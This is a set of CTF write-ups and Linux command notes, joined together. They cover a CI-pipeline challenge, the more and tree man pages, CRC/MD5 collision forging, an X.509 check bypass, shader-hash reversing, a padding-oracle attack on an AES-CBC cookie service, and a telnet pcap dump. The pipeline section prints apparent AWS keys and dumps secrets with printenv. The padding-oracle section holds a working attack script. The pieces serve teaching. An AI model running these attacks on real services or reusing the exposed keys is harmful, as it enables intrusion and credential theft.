name: 904992888029.dkr.ecr.us-west-2.amazonaws.com/wayhome:latest
aws:
access-key: AKIA5FNOHSTOQECIOTPZ
secret-key: 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
pipelines:
default:
- step:
script:
- ls -al
```
A pipeline is automatically triggered. Output is:
```
+ ls -al
total 24
drwxrwxrwx 3 root root 4096 Jul 18 22:08 .
drwxr-xr-x 8 root root 4096 Jul 18 22:08 ..
drwxrwxrwx 8 root root 4096 Jul 18 22:08 .git
-rw-rw-rw- 1 root root 624 Jul 18 22:08 .gitignore
-rw-rw-rw- 1 root root 144 Jul 18 22:08 README.md
-rw-rw-rw- 1 root root 475 Jul 18 22:08 bitbucket-pipelines.yml
```
Now we try adding `ls /`:
```
+ ls /
bin
boot
dev
earth
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```
We can see `/earth`, what's there? We add `ls /earth`:
```
+ ls /earth
coords.txt.gpg
```
So this is a GPG encrypted text file with coordinates. But we need the password. Where can we find it?
Well, after searching around everywhere and even trying to brute force the password with `john`, it turns out that it's hiding in the environment variables:
```
+ printenv
NVM_RC_VERSION=
PASS=wDmL7uC3H8FTr3vS
HOSTNAME=19fb8a86-fad3-42a4-ab43-f9e150d7b3ab-pl8xh
KUBERNETES_PORT_443_TCP_PORT=443
BITBUCKET_GIT_HTTP_ORIGIN=http://bitbucket.org/avivco94/expedition-test
KUBERNETES_PORT=tcp://10.34.224.1:443
BITBUCKET_PROJECT_KEY=TEST
DOCKER_HOST=tcp://localhost:2375
BITBUCKET_DOCKER_HOST_INTERNAL=10.39.129.148
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.34.224.1
BITBUCKET_COMMIT=2d7fd9d3ed13dcb54f6881a6238e691995aaade7
BITBUCKET_CLONE_DIR=/opt/atlassian/pipelines/agent/build
BITBUCKET_STEP_TRIGGERER_UUID={5eb3cb57-b0ba-46bc-b023-2bd28ad15d4c}
NVM_DIR=/root/.nvm
BITBUCKET_REPO_IS_PRIVATE=true
LS_COLORS=
BITBUCKET_REPO_SLUG=expedition-test
BITBUCKET_REPO_OWNER_UUID={ccc1ce6e-a4cc-4ebb-809e-0ea4457dc6f1}
PIPELINES_JWT_TOKEN=$PIPELINES_JWT_TOKEN
PATH=/root/.nvm:/bin/versions/node/v4.2.1/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist
PWD=/opt/atlassian/pipelines/agent/build
BITBUCKET_PIPELINE_UUID={d32eeb5c-14fd-4162-845c-6897bdb4d2ce}
BITBUCKET_BUILD_NUMBER=52
BITBUCKET_STEP_UUID={19fb8a86-fad3-42a4-ab43-f9e150d7b3ab}
BITBUCKET_WORKSPACE=avivco94
SHLVL=1
BITBUCKET_PROJECT_UUID={d4d15a2d-69cf-4d8f-9ba0-8a5c1b2cb9d6}
HOME=/root
BITBUCKET_GIT_SSH_ORIGIN=git@bitbucket.org:avivco94/expedition-test.git
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
CI=true
BITBUCKET_REPO_UUID={e181a250-6b59-48e3-80a4-41d10ae6d663}
BITBUCKET_REPO_OWNER=avivco94
BITBUCKET_BRANCH=master
LESSOPEN=| /usr/bin/lesspipe %s
NVM_IOJS_ORG_MIRROR=https://iojs.org/dist
BITBUCKET_REPO_FULL_NAME=avivco94/expedition-test
BITBUCKET_STEP_RUN_NUMBER=1
DISPLAY=:99
KUBERNETES_PORT_443_TCP_ADDR=10.34.224.1
KUBERNETES_PORT_443_TCP=tcp://10.34.224.1:443
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/printenv
```
So we have the password: `wDmL7uC3H8FTr3vS`. Let's use it to decode the file:
```
+ gpg --no-armor -o - --passphrase wDmL7uC3H8FTr3vS -d coords.txt.gpg > coords.txt
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
gpg: encrypted with 1 passphrase
gpg: WARNING: message was not integrity protected
```
And print the contents:
```
+ cat coords.txt
28.49662233341438, -80.54938494992965
```
The full yaml file:
```yaml
image:
name: 904992888029.dkr.ecr.us-west-2.amazonaws.com/wayhome:latest
aws:
access-key: AKIA5FNOHSTOQECIOTPZ
secret-key: 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
pipelines:
default:
- step:
script:
- ls -al
- ls /
- ls /earth
- printenv
- cd /earth
- gpg --no-armor -o - --passphrase wDmL7uC3H8FTr3vS -d coords.txt.gpg > coords.txt
- ls -al
- cat coords.txt
```
We visit the coordinates in [Google Maps](https://www.google.com/maps/place/28%C2%B029'47.8%22N+80%C2%B032'57.8%22W/@28.496627,-80.5515736,17z/data=!3m1!4b1!4m5!3m4!1s0x0:0x0!8m2!3d28.4966223!4d-80.5493849) and get the flag: `Launch Complex 15`.
|
sec-knowleage
|
more
===
显示文件内容,每次显示一屏
## 补充说明
**more命令** 是一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作。more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)。
该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答:
* 按 `Space` 键:显示文本的下一屏内容。
* 按 `Enter` 键:只显示文本的下一行内容。
* 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。
* 按H键:显示帮助屏,该屏上有相关的帮助信息。
* 按B键:显示上一屏内容。
* 按Q键:退出more命令。
### 语法
```shell
more(语法)(参数)
```
### 选项
```shell
-<数字>:指定每屏显示的行数;
-d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”;
-c:不进行滚屏操作。每次刷新这个屏幕;
-s:将多个空行压缩成一行显示;
-u:禁止下划线;
+<数字>:从指定数字的行开始显示。
```
### 参数
文件:指定分页显示内容的文件。
### 实例
显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完成的百分比。
```shell
more -dc file
```
显示文件file的内容,每10行显示一次,而且在显示之前先清屏。
```shell
more -c -10 file
```
|
sec-knowleage
|
tree
===
树状图列出目录的内容
## 补充说明
**tree命令** 以树状图列出目录的内容。
### 语法
```shell
tree(选项)(参数)
```
### 选项
```shell
------- 列表选项 -------
-a # 显示所有文件和目录。
-d # 显示目录名称而非文件。
-l # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
-f # 在每个文件或目录之前,显示完整的相对路径名称。
-x # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外。
-L level # 限制目录显示层级。
-R # Rerun tree when max dir level reached.
-P pattern # <范本样式> 只显示符合范本样式的文件和目录名称。
-I pattern # Do not list files that match the given pattern.
--ignore-case # Ignore case when pattern matching.
--matchdirs # Include directory names in -P pattern matching.
--noreport # Turn off file/directory count at end of tree listing.
--charset X # Use charset X for terminal/HTML and indentation line output.
--filelimit # # Do not descend dirs with more than # files in them.
--timefmt <f> # Print and format time according to the format <f>.
-o filename # Output to file instead of stdout.
-------- 文件选项 ---------
-q # 用“?”号取代控制字符,列出文件和目录名称。
-N # 直接列出文件和目录名称,包括控制字符。
-Q # Quote filenames with double quotes.
-p # 列出权限标示。
-u # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。
-g # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
-s # 列出文件和目录大小。
-h # Print the size in a more human readable way.
--si # Like -h, but use in SI units (powers of 1000).
-D # 列出文件或目录的更改时间。
-F # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号。
--inodes # Print inode number of each file.
--device # Print device ID number to which each file belongs.
------- 排序选项 -------
-v # Sort files alphanumerically by version.
-t # 用文件和目录的更改时间排序。
-c # Sort files by last status change time.
-U # Leave files unsorted.
-r # Reverse the order of the sort.
--dirsfirst # List directories before files (-U disables).
--sort X # Select sort: name,version,size,mtime,ctime.
------- 图形选项 ------
-i # 不以阶梯状列出文件和目录名称。
-A # 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
-S # Print with CP437 (console) graphics indentation lines.
-n # Turn colorization off always (-C overrides).
-C # 在文件和目录清单加上色彩,便于区分各种类型。
------- XML / HTML / JSON选项 -------
-X # Prints out an XML representation of the tree.
-J # Prints out an JSON representation of the tree.
-H baseHREF # Prints out HTML format with baseHREF as top directory.
-T string # Replace the default HTML title and H1 header with string.
--nolinks # Turn off hyperlinks in HTML output.
---- 杂项选项 ----
--version # 输入版本信息。
--help # 打印使用帮助信息。
-- # Options processing terminator.
```
### 参数
目录:执行tree指令,它会列出指定目录下的所有文件,包括子目录里的文件。
### 实例
列出目录`/private/` 第一级文件名
```shell
tree /private/ -L 1
/private/
├── etc
├── tftpboot
├── tmp
└── var
```
忽略文件夹
```shell
tree -I node_modules # 忽略当前目录文件夹node_modules
tree -P node_modules # 列出当前目录文件夹node_modules的目录结构
tree -P node_modules -L 2 # 显示目录node_modules两层的目录树结构
tree -L 2 > /home/www/tree.txt # 当前目录结果存到 tree.txt 文件中
```
忽略多个文件夹
```shell
tree -I 'node_modules|icon|font' -L 2
```
非树状结构列出目录`/private/`下的所有文件
```
tree -if /private/
/private
/private/a1
/private/a2
/private/etc
/private/etc/b1
/private/etc/b2
/private/tftpboot
```
显示所有文件目录(包括隐藏文件)并忽略(node_modules|.git)目录,展示(`-L 2`)两层。
```shell
$ tree -I 'node_modules|.git' -L 2 -a
.
├── .github
│ └── workflows
├── LICENSE
├── README.md
└── renovate.json
```
|
sec-knowleage
|
# Forge
In this task we were asked to create CRC collisions. We had file `mandog.png` and had to create a
valid PNG, whose crc32 was the same.
CRC32 is designed to be easily updatable - the crc32 function doesn't have to recalculate the whole
checksum when new data arrives. It is important in this case, because it means we can just
append some trash data after the IEND PNG chunk (which png parsers ignore), and calculation
of the new CRC is very quick, since the loop will have to go over just the new bytes.
We wrote a simple brute force (`check.cpp`), which in a few minutes created valid 10-byte strings,
which appended to the original image did not check its CRC. Result:
```
[adam@adam-Y510P ~/CTF/backdoor/forge]λ crc32 mandog*
a8eaac0a mandog_izzhqyprfw.png
a8eaac0a mandog.png
a8eaac0a mandog_szscanpdgm.png
a8eaac0a mandog_wispqhyawl.png
a8eaac0a mandog_wyeucyrljm.png
a8eaac0a mandog_xqtawyeyhq.png
[adam@adam-Y510P ~/CTF/backdoor/forge]λ sha1sum mandog*
5fc968ee9f33628f374f97b9c78c6f7a9930e869 mandog_izzhqyprfw.png
0c2308197b15718953dd77d48269b37a92db8fda mandog.png
174141fc4c5757b68dfffbf1204ed0640536d17d mandog_szscanpdgm.png
c91f67636a816f5aab1041723f5efb8fbd697b25 mandog_wispqhyawl.png
da06f9a68ce394f12949b130fd94f306bc27bfc2 mandog_wyeucyrljm.png
f28ca952eec0d19d5b265bf936da40cd147fa0c5 mandog_xqtawyeyhq.png
```
Unfortunately, there was a second level too. This time, we had to generate 8 files having the
same MD5 sum (not necessarily the same as orginal file). Searching the Internet revealed some
research on this topic - in particular, there was a nice utility called
[fastcol](https://marc-stevens.nl/research/). It only generates two suffixes, which appended
make the same md5, but we could easily adapt it to our purposes by running it several times,
creating in the end 8 files:
```
[original][suffix1A][suffix2A][suffix3A]
[original][suffix1A][suffix2A][suffix3B]
[original][suffix1A][suffix2B][suffix3A]
[original][suffix1A][suffix2B][suffix3B]
[original][suffix1B][suffix2A][suffix3A]
[original][suffix1B][suffix2A][suffix3B]
[original][suffix1B][suffix2B][suffix3A]
[original][suffix1B][suffix2B][suffix3B]
```
Full code is in `doit.py`. Results:
```
[adam@adam-Y510P ~/CTF/backdoor/forge/lvl2]λ md5sum collision_*
0c98a972db583485b9e3e40fe276137a collision_0.png
0c98a972db583485b9e3e40fe276137a collision_1.png
0c98a972db583485b9e3e40fe276137a collision_2.png
0c98a972db583485b9e3e40fe276137a collision_3.png
0c98a972db583485b9e3e40fe276137a collision_4.png
0c98a972db583485b9e3e40fe276137a collision_5.png
0c98a972db583485b9e3e40fe276137a collision_6.png
0c98a972db583485b9e3e40fe276137a collision_7.png
[adam@adam-Y510P ~/CTF/backdoor/forge/lvl2]λ sha1sum collision_*
ca3e10e251928fa00b83f8393a7fa0866fd0e3b8 collision_0.png
e9d30bf12afa70d0c873848ef89e6c57e7b184fe collision_1.png
f0cdb53c0ed2e2ac200eeacfc2a7d05d31316902 collision_2.png
aa6c6ea0b3af31fad2ae839535cf5789d2d15ff6 collision_3.png
0b66cbe4054d6b2fa5ad8308fde46fbb043e8d4a collision_4.png
33d3294af9aae77276a913c9c6bd03514b06a292 collision_5.png
e032a2b878134e601fec416d8b08e2d7eb91c16f collision_6.png
32ad04e28daacb4e60b6adcdf5dfd8a7b1578981 collision_7.png
```
|
sec-knowleage
|
## calcexec I (pwn, 200p, 7 solves)
> 2+2 == [5](Calc.exe)?
> nc 185.82.202.146 1337
### PL
[ENG](#eng-version)
Zadanie to usługa ewaluatora wyrażeń matematycznych napisana w C#. Widzimy, że jedną z funkcji ewalutora jest wypisanie nam flagi.
```csharp
calcEngine.RegisterFunction("FLAG", 0, (p => File.ReadAllText("flag1")));
```
Niestety, konstruktor ewalutora przyjmuje listę dozwolonych funkcji i domyślnie jest ona pusta. Możemy natomiast je podać w certyfikacie x509 w jego dodatkowym rozszerzeniu.
```csharp
X509Extension x509Extension = cert.Extensions["1.1.1337.7331"];
if (x509Extension != null)
calcEngine = Program.InitCalcEngine(Enumerable.ToArray(
Enumerable.Select(Encoding.Default.GetString(
x509Extension.RawData).Split(','), (x => x.Trim()))));
```
Niestety nie możemy wysłać jednak dowolnego certyfikatu. Są one w kilku krokach weryfikowane.
Nie możemy podać certyfikatu o subjekcie już wczytanego:
```csharp
string key = new X509Name(x509Certificate2.Subject).ToString();
if (this.Items.ContainsKey(key))
throw new Exception("Certificate is already loaded!");
```
Subject certyfikatu musi zawierać podany identifier:
```csharp
return Enumerable.SingleOrDefault(Enumerable.OfType<string>(
new X509Name(cert.Subject).GetValues(
new DerObjectIdentifier("2.5.4.1337")))) == "calc.exe";
```
Issuer certyfikatu nie może być nim sam:
```csharp
string name1 = new X509Name(certificateName).ToString();
X509Certificate2 certificateByName = this.Store.FindCertificateByName(name1);
string name2 = new X509Name(certificateByName.Issuer).ToString();
if (name2 == name1)
return false;
```
Oraz ostatecznie jest sprawdzana jego sygnatura kluczem publicznym wczytanego wcześniej issuera.
```csharp
Asn1Sequence asn1Sequence = new Asn1InputStream(this.Store.FindCertificateByName(name2)
.GetPublicKey()).ReadObject();
DotNetUtilities.FromX509Certificate(certificateByName).Verify(
new RsaKeyParameters(false, ((DerInteger) asn1Sequence[0]).Value,
((DerInteger) asn1Sequence[1]).Value));
```
Jeżeli któryś z checków nie powiedzie się, wczytany certyfikat jest usuwany ze store'a.
Żeby móc wczytać własny certyfikat musimy znaleźć lukę w którymś z powyższych kodów. Dwa ostatnie zamknięte były w bloku try-catch, ale jeżeli udałoby się wywołać wyjątek w jednym z pozostałych to certyfikat nie zostałby usunięty.
Okazuje się, że certyfikaty x509 mogą posiadać wiele identyfikatorów z tą samą nazwą. Jeżeli więc spreparujemy certyfikat z więcej niż jednym identyfikatorem "2.5.4.1337" spowoduje to wyjątek przy wywołaniu `SingleOrDefault()`, które oczekuje co najwyżej jednego elementu.
Gdyby w ten sposób udało się wczytać certyfikat to będziemy mogli stworzyć certyfikat, który przejdzie wszystkie te checki.
```
openssl req -new -nodes -keyout CA.key -subj "/CN=MyCalc/O=MyCalc/OU=MyCalc/calc=MyCalc/calc=MyCalc" > CA.csr
openssl x509 -sha1 -req -signkey CA.key < CA.csr > CA.crt
openssl req -new -nodes -keyout client.key -config config -extensions cert_extensions > client.csr
openssl x509 -extfile config -extensions cert_extensions -sha1 -req -CAkey CA.key -CA CA.crt < client.csr > client.crt
```
Oraz plik konfiguracyjny dla openssl:
```
oid_section = new_oids
[ new_oids ]
fooname = 2.5.4.1337
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
attributes = req_attributes
prompt = no
x509_extensions = cert_extensions
[ req_distinguished_name ]
fooname = calc.exe
CN = calc.exe
O = calc.exe
emailAddress = calc@asis-ctf.ir
L = Iran
C = IR
[ req_attributes ]
[ cert_extensions ]
1.1.1337.7331 = ASN1:UTF8:ABS,ACOS,ASIN,ATAN,ATAN2,CEILING,COS,COSH,EXP,FLOOR,INT,LN,LOG,LOG10,PI,POWER,RAND,RANDBETWEEN,SIGN,SIN,SINH,SQRT,SUM,SUMIF,TAN,TANH,TRUNC,AVERAGE,AVERAGEA,COUNT,COUNTA,COUNTBLANK,COUNTIF,MAX,MAXA,MIN,MINA,STDEV,STDEVA,STDEVP,STDEVPA,VAR,VARA,VARP,VARPA,CHAR,CODE,CONCATENATE,FIND,LEFT,LEN,LOWER,MID,PROPER,READ,REPLACE,REPT,RIGHT,SEARCH,SUBSTITUTE,T,TEXT,TRIM,UPPER,VALUE,WRITE,FLAG
```
W ten sposób przygotowane certyfikaty udaje się wczytać do programu oraz wywołać funkcję FLAG.
`ASIS{e5cb5e25f77c1da6626fb78a48a678f3}`
### ENG version
The task is a mathematical expressions evaluator service written in C#. We can see that one of the functions is printing the flag.
```csharp
calcEngine.RegisterFunction("FLAG", 0, (p => File.ReadAllText("flag1")));
```
Unfortunately, the evaluator constructor takes a list of allowed functions and by default it's empty. We can, however, add those in x509 certificates in the added extension.
```csharp
X509Extension x509Extension = cert.Extensions["1.1.1337.7331"];
if (x509Extension != null)
calcEngine = Program.InitCalcEngine(Enumerable.ToArray(
Enumerable.Select(Encoding.Default.GetString(
x509Extension.RawData).Split(','), (x => x.Trim()))));
```
However, we can't just send any certificate. They are verified in multiple steps.
We can't send a certificate with already loaded subject:
```csharp
string key = new X509Name(x509Certificate2.Subject).ToString();
if (this.Items.ContainsKey(key))
throw new Exception("Certificate is already loaded!");
```
Subject of the certificate has to contain given identifier:
```csharp
return Enumerable.SingleOrDefault(Enumerable.OfType<string>(
new X509Name(cert.Subject).GetValues(
new DerObjectIdentifier("2.5.4.1337")))) == "calc.exe";
```
Certificate issuer can't be himself:
```csharp
string name1 = new X509Name(certificateName).ToString();
X509Certificate2 certificateByName = this.Store.FindCertificateByName(name1);
string name2 = new X509Name(certificateByName.Issuer).ToString();
if (name2 == name1)
return false;
```
And finally it is checked with public key of the issuer read previously.
```csharp
Asn1Sequence asn1Sequence = new Asn1InputStream(this.Store.FindCertificateByName(name2)
.GetPublicKey()).ReadObject();
DotNetUtilities.FromX509Certificate(certificateByName).Verify(
new RsaKeyParameters(false, ((DerInteger) asn1Sequence[0]).Value,
((DerInteger) asn1Sequence[1]).Value));
```
If any of the checks fails the certificate is removed from the store.
In order to be able to load our own certificate we need to find a loophole in one of the codes above. The last two are in try-catch block, but if we could raise an exception in one of the remaining ones then the certificate would not get removed.
It turns out that x509 certificates can have multiple identifiers with the same name. Therefore if we prepare a certificate with more than one identifier "2.5.4.1337" it will cause an exception during `SingleOrDefault()` call, which expects at most one element.
If we could load a certificate this way, we could create a certificate which will pass all the checks.
```
openssl req -new -nodes -keyout CA.key -subj "/CN=MyCalc/O=MyCalc/OU=MyCalc/calc=MyCalc/calc=MyCalc" > CA.csr
openssl x509 -sha1 -req -signkey CA.key < CA.csr > CA.crt
openssl req -new -nodes -keyout client.key -config config -extensions cert_extensions > client.csr
openssl x509 -extfile config -extensions cert_extensions -sha1 -req -CAkey CA.key -CA CA.crt < client.csr > client.crt
```
And the openssl config file:
```
oid_section = new_oids
[ new_oids ]
fooname = 2.5.4.1337
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
attributes = req_attributes
prompt = no
x509_extensions = cert_extensions
[ req_distinguished_name ]
fooname = calc.exe
CN = calc.exe
O = calc.exe
emailAddress = calc@asis-ctf.ir
L = Iran
C = IR
[ req_attributes ]
[ cert_extensions ]
1.1.1337.7331 = ASN1:UTF8:ABS,ACOS,ASIN,ATAN,ATAN2,CEILING,COS,COSH,EXP,FLOOR,INT,LN,LOG,LOG10,PI,POWER,RAND,RANDBETWEEN,SIGN,SIN,SINH,SQRT,SUM,SUMIF,TAN,TANH,TRUNC,AVERAGE,AVERAGEA,COUNT,COUNTA,COUNTBLANK,COUNTIF,MAX,MAXA,MIN,MINA,STDEV,STDEVA,STDEVP,STDEVPA,VAR,VARA,VARP,VARPA,CHAR,CODE,CONCATENATE,FIND,LEFT,LEN,LOWER,MID,PROPER,READ,REPLACE,REPT,RIGHT,SEARCH,SUBSTITUTE,T,TEXT,TRIM,UPPER,VALUE,WRITE,FLAG
```
We succeed in loading certificates prepared this way and call the FLAG function: `ASIS{e5cb5e25f77c1da6626fb78a48a678f3}`
|
sec-knowleage
|
# Moon (re, 246p)
> What's the password?
> moon.zip
In this challenge, we were given a Windows binary with a bunch of graphical libraries.
I solved the challenge without ever running it fully (not because it was so easy for me,
but because it didn't work out of the box on my virtual machine, and I didn't feel
like installing missing things). Knowing Gynvael, who created this task, it was likely
a demo-like graphical effect with some password to be typed in.
After finding the main function, reversing the main logic was not too hard. The program
was loading a couple of resources from read-only section - some of them being PNGs,
some were random-looking hex strings, and there was even a shader program. One of the
"random" strings was later decrypted to another shader program (I saw it in debugger).
I found it pretty suspicious,
so I decided to take a closer look at it:
```
#version 430
layout(local_size_x=8,local_size_y=8) in;
layout(std430,binding=0) buffer
shaderExchangeProtocol{
uint state[64];
uint hash[64];
uint password[32];
};
vec3 calc(uint p){
float r=radians(p);
float c=cos(r);
float s=sin(r);
mat3 m=mat3(c,-s,0.0,s,c,0.0,0.0,0.0,1.0);
vec3 pt=vec3(1024.0,0.0,0.0);
vec3 res=m*pt;
res+=vec3(2048.0,2048.0,0.0);
return res;
}
uint extend(uint e){
uint i;
uint r=e^0x5f208c26;
for (i=15;i<31;i+=3){
uint f=e<<i;
r^=f;
}
return r;
}
uint hash_alpha(uint p){
vec3 res=calc(p);
return extend(uint(res[0]));
}
uint hash_beta(uint p){
vec3 res=calc(p);
return extend(uint(res[1]));
}
void main(){
uint idx=gl_GlobalInvocationID.x+gl_GlobalInvocationID.y*8;
uint final;
if (state[idx]!=1){return;}
if ((idx&1)==0){
final=hash_alpha(password[idx/2]);
}
else{
final=hash_beta(password[idx/2]);
}
uint i;
for (i=0;i<32;i+=6){
final^=idx<<i;
}
uint h=0x5a;
for (i=0;i<32;i++){
uint p=password[i];
uint r=(i*3)&7;
p=(p<<r)|(p>>(8-r));
p&=0xff;
h^=p;
}
final^=(h|(h<<8)|(h<<16)|(h<<24));
hash[idx]=final;
state[idx]=2;
memoryBarrierShared();
}
```
Yep, it seems to be calculating a handmade hash of the password. It first calculates
a `hash_alpha` or `hash_beta` of a single character, then makes some additional xors with
current character index, and then xors it with a simple 8-byte hash `h` of the whole password.
The final result is copied into the output buffer (`hash`).
The main binary runs this program and then compares the result to a hardcoded string. It seems
we need to reverse engineer the hash algorithm then. Fortunately, it's pretty simple.
We can brute force the 8-byte hash of the whole password, and then separately brute force
each character, every time checking whether the corresponding hash bytes match up.
The whole code of the solver is in `sim.py`.
|
sec-knowleage
|
# Magic Padding Oracle
Cryptography, 450 points
## Description:
> Can you help us retreive the flag from this crypto service?
```python
#!/usr/bin/python2
import os
import json
import sys
import time
from Crypto.Cipher import AES
cookiefile = open("cookie", "r").read().strip()
flag = open("flag", "r").read().strip()
key = open("key", "r").read().strip()
welcome = """
Welcome to Secure Encryption Service version 1.51
"""
def pad(s):
return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
def isvalidpad(s):
return ord(s[-1])*s[-1:]==s[-ord(s[-1]):]
def unpad(s):
return s[:-ord(s[len(s)-1:])]
def encrypt(m):
IV="This is an IV456"
cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV)
return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex")
def decrypt(m):
cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex"))
return cipher.decrypt(m[32:].decode("hex"))
# flush output immediately
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
print welcome
print "Here is a sample cookie: " + encrypt(cookiefile)
# Get their cookie
print "What is your cookie?"
cookie2 = sys.stdin.readline()
# decrypt, but remove the trailing newline first
cookie2decoded = decrypt(cookie2[:-1])
if isvalidpad(cookie2decoded):
d=json.loads(unpad(cookie2decoded))
print "username: " + d["username"]
print "Admin? " + d["is_admin"]
exptime=time.strptime(d["expires"],"%Y-%m-%d")
if exptime > time.localtime():
print "Cookie is not expired"
else:
print "Cookie is expired"
if d["is_admin"]=="true" and exptime > time.localtime():
print "The flag is: " + flag
else:
print "invalid padding"
```
## Solution:
The service accepts a cookie encrypted with AES-CBC and if the cookie is valid, outputs the flag in case the cookie belongs to an admin.
However, the service has a critical flaw - given an encrypted input, it will tell the user if the input's padding is correct or not. This allows executing a [Padding oracle attack on CBC encryption](https://en.wikipedia.org/wiki/Padding_oracle_attack#Padding_oracle_attack_on_CBC_encryption).
We'll use [python-paddingoracle](https://github.com/mwielgoszewski/python-paddingoracle) to execute the attack. The library just needs us to implement the transport layer, and it does the rest.
The script:
```python
from pwn import *
from paddingoracle import BadPaddingException, PaddingOracle
import json
from Crypto.Cipher import AES
class PadBuster(PaddingOracle):
def oracle(self, data):
while True:
try:
r = remote("2018shell3.picoctf.com", 24933)
r.recvuntil("cookie?")
s = data
s = str(data).encode("hex")
r.sendline(s)
out = r.recvall()
if "invalid padding" in out:
raise BadPaddingException
return
except (socket.error, socket.gaierror, socket.herror, socket.timeout) as e:
print str(e)
if __name__ == '__main__':
d = {"username": "User", "is_admin": "true", "expires": "2019-01-01"}
s = json.dumps(d)
print s
padbuster = PadBuster()
encrypted = padbuster.encrypt(s, block_size=AES.block_size, iv="This is an IV456")
print "Ciphertext: %r" % (str(encrypted).encode("hex"))
```
The output (truncated, since it runs for a while):
```
...
[+] Receiving all data: Done (17B)
[*] Closed connection to 2018shell3.picoctf.com port 24933
[+] Opening connection to 2018shell3.picoctf.com on port 24933: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 2018shell3.picoctf.com port 24933
[+] Opening connection to 2018shell3.picoctf.com on port 24933: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 2018shell3.picoctf.com port 24933
[+] Opening connection to 2018shell3.picoctf.com on port 24933: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 2018shell3.picoctf.com port 24933
[+] Opening connection to 2018shell3.picoctf.com on port 24933: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 2018shell3.picoctf.com port 24933
[+] Opening connection to 2018shell3.picoctf.com on port 24933: Done
[+] Receiving all data: Done (573B)
[*] Closed connection to 2018shell3.picoctf.com port 24933
Ciphertext: '2508f4cf9a524e46de043391bd3ef75791a6df158072e5132d2980324e2319012736e01a6829fa90e30039723a759a65f99065ef86e9cd5916a8c36992de3c553d89e4437a9c271a079ee34a352f49e95468697320697320616e204956343536'
```
Submitting the cookie:
```console
root@kali:/media/sf_CTFs/pico/Magic_Padding_Oracle# nc 2018shell3.picoctf.com 24933
Welcome to Secure Encryption Service version 1.51
Here is a sample cookie: 5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67
What is your cookie?
2508f4cf9a524e46de043391bd3ef75791a6df158072e5132d2980324e2319012736e01a6829fa90e30039723a759a65f99065ef86e9cd5916a8c36992de3c553d89e4437a9c271a079ee34a352f49e95468697320697320616e204956343536
username: User
Admin? true
Cookie is not expired
The flag is: picoCTF{0r4cl3s_c4n_l34k_ae6a1459}
```
The flag: picoCTF{0r4cl3s_c4n_l34k_ae6a1459}
|
sec-knowleage
|
version: '2.2'
services:
jenkins:
image: vulhub/jenkins:2.138
ports:
- "50000:50000"
- "8080:8080"
init: true
|
sec-knowleage
|
# Level08
#### About
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.
#### Source code
There is no source code available for this level
* analysis capture.pcap
* hexdump -C dump.txt <---- http://www.asciitable.com/
```
$ hexdump.exe -C dump.txt
00000000 ff fd 25 ff fc 25 ff fb 26 ff fd 18 ff fd 20 ff |..%..%..&..... .|
00000010 fd 23 ff fd 27 ff fd 24 ff fe 26 ff fb 18 ff fb |.#..'..$..&.....|
00000020 20 ff fb 23 ff fb 27 ff fc 24 ff fa 20 01 ff f0 | ..#..'..$.. ...|
00000030 ff fa 23 01 ff f0 ff fa 27 01 ff f0 ff fa 18 01 |..#.....'.......|
00000040 ff f0 ff fa 20 00 33 38 34 30 30 2c 33 38 34 30 |.... .38400,3840|
00000050 30 ff f0 ff fa 23 00 53 6f 64 61 43 61 6e 3a 30 |0....#.SodaCan:0|
00000060 ff f0 ff fa 27 00 00 44 49 53 50 4c 41 59 01 53 |....'..DISPLAY.S|
00000070 6f 64 61 43 61 6e 3a 30 ff f0 ff fa 18 00 78 74 |odaCan:0......xt|
00000080 65 72 6d ff f0 ff fb 03 ff fd 01 ff fd 22 ff fd |erm.........."..|
00000090 1f ff fb 05 ff fd 21 ff fd 03 ff fc 01 ff fb 22 |......!........"|
000000a0 ff fa 22 03 01 00 00 03 62 03 04 02 0f 05 00 00 |..".....b.......|
000000b0 07 62 1c 08 02 04 09 42 1a 0a 02 7f 0b 02 15 0f |.b.....B........|
000000c0 02 11 10 02 13 11 02 ff ff 12 02 ff ff ff f0 ff |................|
000000d0 fb 1f ff fa 1f 00 b1 00 31 ff f0 ff fd 05 ff fb |........1.......|
000000e0 21 ff fa 22 01 03 ff f0 ff fa 22 01 07 ff f0 ff |!.."......".....|
